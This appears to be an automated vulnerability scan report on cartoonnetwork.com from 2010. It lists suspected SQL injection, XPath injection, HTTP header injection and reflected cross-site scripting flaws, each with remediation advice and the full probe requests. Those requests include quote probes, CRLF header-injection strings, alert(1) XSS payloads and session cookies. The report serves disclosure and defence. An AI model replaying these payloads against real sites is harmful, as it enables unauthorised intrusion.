SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Issue remediation
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
The filterByCollectionId parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the filterByCollectionId parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /cnvideosvc2/svc/episodeSearch/getEpisodesByCategory?networkName=HOME&id=multiCat&filterByCollectionId=8a250ab0230ec20c012319d48f9c015b'&limit=500&offset=0&r=1269704204105 HTTP/1.1 Host: www.cartoonnetwork.com Proxy-Connection: keep-alive Referer: http://www.cartoonnetwork.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2681726C051D112C-40000103C04C4A5B[CE]; JSESSIONID=3BF5B03317AA5DBF8F9BDD132799862C
Response 1
HTTP/1.1 500 Server Error Date: Sat, 11 Dec 2010 02:46:01 GMT Server: Sun-ONE-Web-Server/6.1 Content-type: text/html Vary: User-Agent,Accept-Encoding Connection: close Content-Length: 8547
The id parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the id parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /cnvideosvc2/svc/episodeSearch/getEpisodesByCategory?networkName=HOME&id=multiCat'&filterByCollectionId=8a250ab0230ec20c012319d48f9c015b&limit=500&offset=0&r=1269704204105 HTTP/1.1 Host: www.cartoonnetwork.com Proxy-Connection: keep-alive Referer: http://www.cartoonnetwork.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2681726C051D112C-40000103C04C4A5B[CE]; JSESSIONID=3BF5B03317AA5DBF8F9BDD132799862C
Response 1
HTTP/1.1 500 Server Error Date: Sat, 11 Dec 2010 02:45:58 GMT Server: Sun-ONE-Web-Server/6.1 Content-type: text/html Vary: User-Agent,Accept-Encoding Connection: close Content-Length: 8547
The networkName parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the networkName parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /cnvideosvc2/svc/episodeSearch/getEpisodesByCategory?networkName=HOME'&id=multiCat&filterByCollectionId=8a250ab0230ec20c012319d48f9c015b&limit=500&offset=0&r=1269704204105 HTTP/1.1 Host: www.cartoonnetwork.com Proxy-Connection: keep-alive Referer: http://www.cartoonnetwork.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2681726C051D112C-40000103C04C4A5B[CE]; JSESSIONID=3BF5B03317AA5DBF8F9BDD132799862C
Response 1
HTTP/1.1 500 Server Error Date: Sat, 11 Dec 2010 02:45:55 GMT Server: Sun-ONE-Web-Server/6.1 Content-type: text/html Vary: User-Agent,Accept-Encoding Connection: close Content-Length: 8547
The id parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the id parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /cnvideosvc2/svc/episodeSearch/getEpisodesByShow?networkName=HOME&id=8a250ab0230ec20c012319d48f9c015b'&limit=500&offset=0&r=1269704204105 HTTP/1.1 Host: www.cartoonnetwork.com Proxy-Connection: keep-alive Referer: http://www.cartoonnetwork.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2681726C051D112C-40000103C04C4A5B[CE]
Response 1
HTTP/1.1 500 Server Error Date: Sat, 11 Dec 2010 02:45:50 GMT Server: Sun-ONE-Web-Server/6.1 Content-type: text/html Vary: User-Agent,Accept-Encoding Connection: close Content-Length: 8547
The networkName parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the networkName parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /cnvideosvc2/svc/episodeSearch/getEpisodesByShow?networkName=HOME'&id=8a250ab0230ec20c012319d48f9c015b&limit=500&offset=0&r=1269704204105 HTTP/1.1 Host: www.cartoonnetwork.com Proxy-Connection: keep-alive Referer: http://www.cartoonnetwork.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2681726C051D112C-40000103C04C4A5B[CE]
Response 1
HTTP/1.1 500 Server Error Date: Sat, 11 Dec 2010 02:45:46 GMT Server: Sun-ONE-Web-Server/6.1 Content-type: text/html Vary: User-Agent,Accept-Encoding Connection: close Content-Length: 8547
XPath injection vulnerabilities arise when user-controllable data is incorporated into XPath queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Depending on the purpose for which the vulnerable query is being used, an attacker may be able to exploit an XPath injection flaw to read sensitive application data or interfere with application logic.
Issue remediation
User input should be strictly validated before being incorporated into XPath queries. In most cases, it will be appropriate to accept input containing only short alhanumeric strings. At the very least, input containing any XPath metacharacters such as " ' / @ = * [ ] ( and ) should be rejected.
The REST URL parameter 1 appears to be vulnerable to XPath injection attacks. The payload ' was submitted in the REST URL parameter 1, and an XPath error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request
GET /.element'/ssi/ads.iframes/eyewonder/interim.html?url=http://cdn.eyewonder.com/100125/765514/1401316/pd_Inc.js?interim=http%3A//www.cartoonnetwork.com/.element/ssi/ads.iframes/eyewonder/interim.html&clickTagFramePrepend=http%3A//ads.cnn.com/event.ng/Type%3Dclick%26FlightID%3D332166%26AdID%3D477790%26TargetID%3D5468%26Segments%3D2743%2C3285%2C4135%2C4677%2C11948%2C24537%2C28173%2C31774%2C33852%2C37272%2C37430%2C40253%2C41858%2C42274%2C42275%2C42673%2C43109%2C43752%2C44046%2C44047%2C44049%2C45046%2C45073%2C45075%26Values%3D47781%26Redirect%3D%5Bewclickthru%5D&iframeURL=http%3A//ads.cartoonnetwork.com/html.ng/site%3Dtoon%26toon_pos%3D728x90_top%26toon_rollup%3Dhomepage%26params.styles%3Dfs%26tile%3D3795625302922%26domId%3D155101&extra=&dom=&stime=1292035285680&cb=1292035285680&guid=ht084A%24WiPTzXsZpPV1vgg HTTP/1.1 Host: www.cartoonnetwork.com Proxy-Connection: keep-alive Referer: http://ads.cartoonnetwork.com/html.ng/site=toon&toon_pos=728x90_top&toon_rollup=homepage¶ms.styles=fs&tile=3795625302922&domId=155101 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2681726C051D112C-40000103C04C4A5B[CE]
Response
HTTP/1.1 404 Not Found Date: Sat, 11 Dec 2010 02:46:44 GMT Server: Apache Cache-Control: private Content-Type: text/html Vary: Accept-Encoding,User-Agent Content-Length: 22047
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:spry="http://ns.ado ...[SNIP]... <script language="javaScript" type="text/javascript" src="/tools/js/spry/xpath.js"> ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XPath injection attacks. The payload ' was submitted in the REST URL parameter 2, and an XPath error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request
GET /.element/ssi'/ads.iframes/eyewonder/interim.html?url=http://cdn.eyewonder.com/100125/765514/1401316/pd_Inc.js?interim=http%3A//www.cartoonnetwork.com/.element/ssi/ads.iframes/eyewonder/interim.html&clickTagFramePrepend=http%3A//ads.cnn.com/event.ng/Type%3Dclick%26FlightID%3D332166%26AdID%3D477790%26TargetID%3D5468%26Segments%3D2743%2C3285%2C4135%2C4677%2C11948%2C24537%2C28173%2C31774%2C33852%2C37272%2C37430%2C40253%2C41858%2C42274%2C42275%2C42673%2C43109%2C43752%2C44046%2C44047%2C44049%2C45046%2C45073%2C45075%26Values%3D47781%26Redirect%3D%5Bewclickthru%5D&iframeURL=http%3A//ads.cartoonnetwork.com/html.ng/site%3Dtoon%26toon_pos%3D728x90_top%26toon_rollup%3Dhomepage%26params.styles%3Dfs%26tile%3D3795625302922%26domId%3D155101&extra=&dom=&stime=1292035285680&cb=1292035285680&guid=ht084A%24WiPTzXsZpPV1vgg HTTP/1.1 Host: www.cartoonnetwork.com Proxy-Connection: keep-alive Referer: http://ads.cartoonnetwork.com/html.ng/site=toon&toon_pos=728x90_top&toon_rollup=homepage¶ms.styles=fs&tile=3795625302922&domId=155101 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2681726C051D112C-40000103C04C4A5B[CE]
Response
HTTP/1.1 404 Not Found Date: Sat, 11 Dec 2010 02:46:45 GMT Server: Apache Cache-Control: private Content-Type: text/html Vary: Accept-Encoding,User-Agent Content-Length: 22047
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:spry="http://ns.ado ...[SNIP]... <script language="javaScript" type="text/javascript" src="/tools/js/spry/xpath.js"> ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XPath injection attacks. The payload ' was submitted in the REST URL parameter 3, and an XPath error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request
GET /.element/ssi/ads.iframes'/eyewonder/interim.html?url=http://cdn.eyewonder.com/100125/765514/1401316/pd_Inc.js?interim=http%3A//www.cartoonnetwork.com/.element/ssi/ads.iframes/eyewonder/interim.html&clickTagFramePrepend=http%3A//ads.cnn.com/event.ng/Type%3Dclick%26FlightID%3D332166%26AdID%3D477790%26TargetID%3D5468%26Segments%3D2743%2C3285%2C4135%2C4677%2C11948%2C24537%2C28173%2C31774%2C33852%2C37272%2C37430%2C40253%2C41858%2C42274%2C42275%2C42673%2C43109%2C43752%2C44046%2C44047%2C44049%2C45046%2C45073%2C45075%26Values%3D47781%26Redirect%3D%5Bewclickthru%5D&iframeURL=http%3A//ads.cartoonnetwork.com/html.ng/site%3Dtoon%26toon_pos%3D728x90_top%26toon_rollup%3Dhomepage%26params.styles%3Dfs%26tile%3D3795625302922%26domId%3D155101&extra=&dom=&stime=1292035285680&cb=1292035285680&guid=ht084A%24WiPTzXsZpPV1vgg HTTP/1.1 Host: www.cartoonnetwork.com Proxy-Connection: keep-alive Referer: http://ads.cartoonnetwork.com/html.ng/site=toon&toon_pos=728x90_top&toon_rollup=homepage¶ms.styles=fs&tile=3795625302922&domId=155101 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2681726C051D112C-40000103C04C4A5B[CE]
Response
HTTP/1.1 404 Not Found Date: Sat, 11 Dec 2010 02:46:46 GMT Server: Apache Cache-Control: private Content-Type: text/html Vary: Accept-Encoding,User-Agent Content-Length: 22047
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:spry="http://ns.ado ...[SNIP]... <script language="javaScript" type="text/javascript" src="/tools/js/spry/xpath.js"> ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XPath injection attacks. The payload ' was submitted in the REST URL parameter 4, and an XPath error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request
GET /.element/ssi/ads.iframes/eyewonder'/interim.html?url=http://cdn.eyewonder.com/100125/765514/1401316/pd_Inc.js?interim=http%3A//www.cartoonnetwork.com/.element/ssi/ads.iframes/eyewonder/interim.html&clickTagFramePrepend=http%3A//ads.cnn.com/event.ng/Type%3Dclick%26FlightID%3D332166%26AdID%3D477790%26TargetID%3D5468%26Segments%3D2743%2C3285%2C4135%2C4677%2C11948%2C24537%2C28173%2C31774%2C33852%2C37272%2C37430%2C40253%2C41858%2C42274%2C42275%2C42673%2C43109%2C43752%2C44046%2C44047%2C44049%2C45046%2C45073%2C45075%26Values%3D47781%26Redirect%3D%5Bewclickthru%5D&iframeURL=http%3A//ads.cartoonnetwork.com/html.ng/site%3Dtoon%26toon_pos%3D728x90_top%26toon_rollup%3Dhomepage%26params.styles%3Dfs%26tile%3D3795625302922%26domId%3D155101&extra=&dom=&stime=1292035285680&cb=1292035285680&guid=ht084A%24WiPTzXsZpPV1vgg HTTP/1.1 Host: www.cartoonnetwork.com Proxy-Connection: keep-alive Referer: http://ads.cartoonnetwork.com/html.ng/site=toon&toon_pos=728x90_top&toon_rollup=homepage¶ms.styles=fs&tile=3795625302922&domId=155101 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2681726C051D112C-40000103C04C4A5B[CE]
Response
HTTP/1.1 404 Not Found Date: Sat, 11 Dec 2010 02:46:48 GMT Server: Apache Cache-Control: private Content-Type: text/html Vary: Accept-Encoding,User-Agent Content-Length: 22047
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:spry="http://ns.ado ...[SNIP]... <script language="javaScript" type="text/javascript" src="/tools/js/spry/xpath.js"> ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XPath injection attacks. The payload ' was submitted in the REST URL parameter 5, and an XPath error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request
GET /.element/ssi/ads.iframes/eyewonder/interim.html'?url=http://cdn.eyewonder.com/100125/765514/1401316/pd_Inc.js?interim=http%3A//www.cartoonnetwork.com/.element/ssi/ads.iframes/eyewonder/interim.html&clickTagFramePrepend=http%3A//ads.cnn.com/event.ng/Type%3Dclick%26FlightID%3D332166%26AdID%3D477790%26TargetID%3D5468%26Segments%3D2743%2C3285%2C4135%2C4677%2C11948%2C24537%2C28173%2C31774%2C33852%2C37272%2C37430%2C40253%2C41858%2C42274%2C42275%2C42673%2C43109%2C43752%2C44046%2C44047%2C44049%2C45046%2C45073%2C45075%26Values%3D47781%26Redirect%3D%5Bewclickthru%5D&iframeURL=http%3A//ads.cartoonnetwork.com/html.ng/site%3Dtoon%26toon_pos%3D728x90_top%26toon_rollup%3Dhomepage%26params.styles%3Dfs%26tile%3D3795625302922%26domId%3D155101&extra=&dom=&stime=1292035285680&cb=1292035285680&guid=ht084A%24WiPTzXsZpPV1vgg HTTP/1.1 Host: www.cartoonnetwork.com Proxy-Connection: keep-alive Referer: http://ads.cartoonnetwork.com/html.ng/site=toon&toon_pos=728x90_top&toon_rollup=homepage¶ms.styles=fs&tile=3795625302922&domId=155101 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2681726C051D112C-40000103C04C4A5B[CE]
Response
HTTP/1.1 404 Not Found Date: Sat, 11 Dec 2010 02:46:49 GMT Server: Apache Cache-Control: private Content-Type: text/html Vary: User-Agent,Accept-Encoding Content-Length: 22047
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:spry="http://ns.ado ...[SNIP]... <script language="javaScript" type="text/javascript" src="/tools/js/spry/xpath.js"> ...[SNIP]...
3. HTTP header injectionpreviousnext There are 2 instances of this issue:
HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.
Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.
Issue remediation
If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.
The value of REST URL parameter 5 is copied into the Location response header. The payload aaa1a%0d%0a2d45b225c74 was submitted in the REST URL parameter 5. This caused a response containing an injected HTTP header.
Request
GET /cnservice/cartoonsvc/content/xml/aaa1a%0d%0a2d45b225c74?contentId=45027&depth=5&date=http://www.cartoonnetwork.com/ HTTP/1.1 Host: www.cartoonnetwork.com Proxy-Connection: keep-alive Referer: http://www.cartoonnetwork.com/tools/media/home/brandingShell.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2681726C051D112C-40000103C04C4A5B[CE]
The value of REST URL parameter 4 is copied into the Location response header. The payload 8a763%0d%0ab79abe92c55 was submitted in the REST URL parameter 4. This caused a response containing an injected HTTP header.
Request
GET /cnservice/content/xml/8a763%0d%0ab79abe92c55?contentId=48058&depth=4&date=http://www.cartoonnetwork.com/ HTTP/1.1 Host: www.cartoonnetwork.com Proxy-Connection: keep-alive Referer: http://www.cartoonnetwork.com/tools/media/home/brandingShell.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2681726C051D112C-40000103C04C4A5B[CE]; JSESSIONID=240CE42B6043A2AD9A3BADAFB2EEA696; 1401316autoFreqCap=0
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the methodName request parameter is copied into the HTML document as plain text between tags. The payload bdb29<x%20style%3dx%3aexpression(alert(1))>27c45c460c4 was submitted in the methodName parameter. This input was echoed as bdb29<x style=x:expression(alert(1))>27c45c460c4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /cnschedule/xmlServices/ScheduleServices?methodName=getAllShowingsbdb29<x%20style%3dx%3aexpression(alert(1))>27c45c460c4&showId=360373&title=Batman&name=Batman&timezone=EST HTTP/1.1 Host: www.cartoonnetwork.com Proxy-Connection: keep-alive Referer: http://www.cartoonnetwork.com/schedule/index.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s_vi=[CS]v1|2681726C051D112C-40000103C04C4A5B[CE]; 1401316autoFreqCap=0; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&; adDEon=true; JSESSIONID=CC72A05A472B9301B04A0982EFC37290; s_cc=true; s_sq=%5B%5BB%5D%5D
Response
HTTP/1.1 200 OK Date: Sat, 11 Dec 2010 02:46:21 GMT Server: Sun-ONE-Web-Server/6.1 Content-type: text/html Vary: User-Agent,Accept-Encoding Content-Length: 132
<error method="getAllShowingsbdb29<x style=x:expression(alert(1))>27c45c460c4" code="300" message="Invalid or missing attributes" />
The value of the contentId request parameter is copied into the XML document as plain text between tags. The payload dd057<a%20xmlns%3aa%3d'http%3a//www.w3.org/1999/xhtml'><a%3abody%20onload%3d'alert(1)'/></a>50422345c5f was submitted in the contentId parameter. This input was echoed as dd057<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>50422345c5f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The response into which the attack is echoed contains XML data, which is not by default processed by the browser as HTML. However, by injecting XML elements which create a new namespace it is possible to trick some browsers (including Firefox) into processing part of the response as HTML. Note that this proof-of-concept attack is designed to execute when processed by the browser as a standalone response, not when the XML is consumed by a script within another page.
Request
GET /cnservice/cartoonsvc/content/xml/getContentById.do?contentId=48022dd057<a%20xmlns%3aa%3d'http%3a//www.w3.org/1999/xhtml'><a%3abody%20onload%3d'alert(1)'/></a>50422345c5f&depth=4 HTTP/1.1 Host: www.cartoonnetwork.com Proxy-Connection: keep-alive Referer: http://www.cartoonnetwork.com/tools/media/home/checkIt_shell.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2681726C051D112C-40000103C04C4A5B[CE]; JSESSIONID=3BF5B03317AA5DBF8F9BDD132799862C
The value of the contentId request parameter is copied into the XML document as plain text between tags. The payload 2880c<a%20xmlns%3aa%3d'http%3a//www.w3.org/1999/xhtml'><a%3abody%20onload%3d'alert(1)'/></a>d0d919a447 was submitted in the contentId parameter. This input was echoed as 2880c<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>d0d919a447 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The response into which the attack is echoed contains XML data, which is not by default processed by the browser as HTML. However, by injecting XML elements which create a new namespace it is possible to trick some browsers (including Firefox) into processing part of the response as HTML. Note that this proof-of-concept attack is designed to execute when processed by the browser as a standalone response, not when the XML is consumed by a script within another page.
Request
